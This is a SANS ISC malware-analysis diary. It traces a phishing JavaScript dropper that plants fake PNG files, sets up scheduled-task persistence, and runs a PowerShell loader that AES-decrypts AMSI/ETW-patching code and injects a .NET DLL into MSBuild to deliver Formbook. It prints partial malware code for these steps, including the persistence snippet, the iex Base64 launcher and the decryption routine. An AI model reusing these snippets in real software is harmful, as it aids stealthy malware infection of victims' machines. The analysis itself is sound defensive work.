I spotted an interesting piece of JavaScript code that was delivered via a phishing email in a RAR archive. The file was called \u201ccbmjlzan.JS\u201d (SHA256:a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285) and is only identified as malicious by 15 AV\u2019s on VirusTotal[1<\/a>].<\/p>\n The file is pretty big (10MB) and contains a copy of the AsmDB project lib[2<\/a>]. The purpose is unknown.<\/p>\n As usual with JavaScript, the file is pretty well obfuscated and contains UTF characters (supported on Windows) but, when you scrool a bit, some code is disclosed:<\/p>\n The script is a Windows-flavor JavaScript and uses ActiveXObject, Microsoft.XMLDOM, ADODB.Stream. It copies itself and implements persistence (through a scheduled task):<\/p>\n Three files are\u00a0dropped in C:UsersPublic:<\/p>\n These aren\u2019t pictures, they are used by the PowerShell script executed after implementing persistence:<\/p>\n The PowerShell is even documented and has multiple purposes.<\/p>\n First, the file Xrio.png is processed. It contains AES encrypted data:<\/p>\n The decrypted code will apply\u00a0evasion techniques based on patching EtwEventWrite() and AmsiScanBuffer(). This is classic in many malware[3<\/a>].<\/p>\n Then, the PowerShell script will decrypt the blob in Orio.png using the same technique. This time a PE file will be extracted (SHA256:53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b)[4<\/a>]. It\u2019s a .Net DLL.<\/p>\n The DLL is injected in a MSBuild.exe process:<\/p>\n This DLL will used the file Brio.png and extract the real malware[5<\/a>]. It’s another sample of Formbook.<\/p>\n [1]\u00a0https:\/\/www.virustotal.com\/gui\/file\/a8ba9ba93b4509a86e3d7dd40fd0652c2743e32277760c5f7942b788b74c5285\/gti-summary<\/a> Xavier Mertens (@xme) (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n \t![\"\"](\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20260410-1.png?ssl=1\")
<\/p>\n\nfunction FDAWE(x) {\n return x.split('').reverse().join('');\n}\nvar scriptName = WScript['ScriptName'];\nvar urlName = ThreeChars(scriptName) + '.url';\nvar publicUrl = 'C:\\Users\\Public\\' + urlName;\nvar copiedScript = 'C:\\Users\\Public\\Libraries\\' + scriptName;\nvar fso = new ActiveXObject('Scripting.FileSystemObject');\nif (!fso.FileExists(copiedScript)) {\n if (LOUU...ONIA.split('').join('') === 'YESSSSSSSS') {\n fso.CopyFile(scriptName, copiedScript);\n var shell = new ActiveXObject('WScript.Shell');\n var cmd = 'cmd \/c schtasks \/create \/sc minute \/mo 15 \/tn ' + scriptName + ' \/tr ' + copiedScript;\n shell.Run(cmd);\n }\n}<\/pre>\n\n
\n\"C:WindowsSystem32WindowsPowerShellv1.0powershell.exe\" -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((\u2018<__REMOVED__>'.Replace('VFHDVXDJCF','')))))<\/pre>\n\n$inputBase64FilePath = \"C:UsersPUBLICXrio.png\"\n$aes_var = [System.Security.Cryptography.Aes]::Create()\n$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC\n$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7\n$aes_var.Key = [System.Convert]::FromBase64String('XctflJI8B7Qo2dA6FbwuHYAjjzjViSx3hThThXX1QUY=')\n$aes_var.IV = [System.Convert]::FromBase64String('eb8a\/RvZf2ltVDo2satMKg==')\n$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)\n$encryptedBytes = [System.Convert]::FromBase64String($base64String)\n$memoryStream = [System.IO.MemoryStream]::new()\n$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)\n$memoryStream.Position = 0 # Reset the position for reading\n$decryptor = $aes_var.CreateDecryptor()\n$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)\n$streamReader = New-Object System.IO.StreamReader($cryptoStream)\n$decryptedString = $streamReader.ReadToEnd()\n$cryptoStream.Close()\n$memoryStream.Close()\n$streamReader.Close()\n$commands = $decryptedString -split \"`n\"\nforeach ($encodedCommand in $commands) {\n ...\n}<\/pre>\n\n$Allohaarnppp11111111=@('file:\/\/\/C:\/Users\/Public\/Brio.png','0','','','MSBuild','','MSBuild','','','','','','7','0','','0','','','');\ntry{\n $Allohaarnppp111111111=$Allohaarnppp1111111111.GetType('Fiber.Program');\n $Allohaarnppp1111111=$Allohaarnppp111111111.GetMethod('Main');\n $Allohaarnppp1111111.Invoke($nUll,[object[]]$Allohaarnppp11111111)}\nCatch {\n}<\/pre>\n
\n[2]\u00a0https:\/\/github.com\/MahdiSafsafi\/asmdb<\/a>
\n[3]\u00a0https:\/\/isc.sans.edu\/diary\/Live+Patching+DLLs+with+Python\/31218<\/a>
\n[4]\u00a0https:\/\/www.virustotal.com\/gui\/file\/53c3e0f8627917e8972a627b9e68adf9c21966428a85cb1c28f47cb21db3c12b\/gti-summary<\/a>
\n[5]\u00a0https:\/\/www.virustotal.com\/gui\/file\/fdcfbb67d7e996e606963ac96a4a1b14e7070e1e88d210b2f567e3d40541b7b7\/gti-summary<\/a><\/p>\n
\nXameco
\nSenior ISC Handler – Freelance Cyber Security Consultant
\nPGP Key<\/a><\/p>\n
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